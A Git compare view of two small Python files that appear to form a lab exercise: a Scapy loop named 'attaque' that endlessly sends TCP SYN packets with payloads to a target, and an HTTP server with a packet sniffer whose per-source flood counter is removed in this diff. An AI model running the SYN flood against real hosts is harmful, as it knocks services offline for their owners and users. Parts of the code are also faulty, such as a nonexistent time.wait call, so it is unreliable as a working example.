Compare commits

..

No commits in common. "63853db6309d62a5d11211eda41f1d828d77ccc6" and "5d1b6fc5cecbcf404754d0907ab5f34ad2e0ac0e" have entirely different histories.

2 changed files with 2 additions and 19 deletions

View file

@ -21,7 +21,7 @@ def attaque():
while True:
requete = L[r.randint(0, 2)]
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
sr1(paquet, verbose=False)
sr1(paquet, verbose=True)
if __name__ == "__main__":
t1= th.Thread(target=attaque())

View file

@ -2,29 +2,14 @@ from scapy.all import *
import http.server
import socketserver
import threading
import time
PORT = 80
Handler = http.server.SimpleHTTPRequestHandler
http = socketserver.TCPServer(("", PORT), Handler)
addresses = {}
def empty_addresses():
while True:
time.wait(1)
addresses.clear()
def handler(pkt):
address = pkt[IP].src
if address in addresses.keys():
count = addresses[address]
if count > 30:
print(address, count)
addresses[address] += 1
else:
addresses[address] = 1
print(pkt)
def sniff_packets():
sniff(filter=f"tcp port {PORT}", prn=handler)
@ -32,8 +17,6 @@ def sniff_packets():
if __name__ == "__main__":
sniffer = threading.Thread(target=sniff_packets)
sniffer.start()
emptyer = threading.Thread(target=empty_addresses)
emptyer.start()
http.serve_forever()
print("serving at port", PORT)